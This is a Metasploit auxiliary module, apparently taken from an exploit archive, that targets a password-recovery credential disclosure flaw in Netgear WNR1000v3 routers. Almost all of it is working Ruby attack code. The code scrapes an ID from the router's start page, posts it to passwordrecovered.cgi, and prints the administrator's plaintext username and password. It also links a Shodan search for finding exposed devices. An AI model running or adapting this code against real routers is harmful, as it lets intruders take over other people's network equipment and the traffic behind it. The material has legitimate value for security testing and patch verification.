Netgear WNR1000v3 - Password Recovery Credential Disclosure Vulnerability

#

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

#

# Exploit Title: Netgear WNR1000v3 Password Recovery Credential Disclosure Vulnerability

# Date: 7-5-14

# Exploit Author: c1ph04

# Vendor Homepage: http://www.netgear.com/

# Version: 1.0

# Tested on: Netgear WNR1000v3 Router Version: <= 1.0.2.62_60.0.87

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize

super(

'Name' => 'Netgear WNR1000v3 Password Extractor',

'Description' => %q{

This module exploits a vulnerability in the password recovery feature of certain Netgear WNR1000v3 routers.

Affected devices will allow retrieval of the plaintext administrator credentials.

Vulnerable Versions: <= 1.0.2.62_60.0.87

},

'References' =>

[

[ 'URL', 'http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html' ],

[ 'URL', 'http://packetstormsecurity.com/files/124759/NETGEAR-WNR1000v3-Password-Disclosure.html' ],

[ 'URL', 'http://secunia.com/community/advisories/56330' ],

[ 'URL', 'http://www.shodanhq.com/search?q=WNR1000v3' ]

],

'Author' =>

[

'c1ph04 <c1ph04mail[at]gmail.com>' # aka - "Ms. Difrank"...idiots

],

'License' => MSF_LICENSE

)

end

def run

print_status("#{rhost}:#{rport} - Attempting to extract credentials...")

begin

res = send_request_raw({

'uri' => '/',

'method' => 'GET'

})

if (res.body =~ /(id)/)

uid = res.body.scan(/\d{5,15}/)

uid = uid[0]

print_good("#{rhost}:#{rport} - UID Retrieved: #{uid}")

print_good("#{rhost}:#{rport} - Sending Request...")

else

print_error("Unexpected response...is this a Netgear Router?")

return

end

res2 = send_request_raw({

'uri' => "/passwordrecovered.cgi?id=#{uid}",

'method' => 'POST'

})

if (res2.body =~ /(successfully)/)

creds = res2.body.scan(/left">(.*)</)

user = creds[0]

pass = creds[1]

print_good("#{rhost}:#{rport} - Username: #{user}")

print_good("#{rhost}:#{rport} - Password: #{pass}")

else

print_error("#{rhost}:#{rport} - Failed: Target Not Vulnerable")

end

rescue ::Rex::ConnectionError

vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")

return

end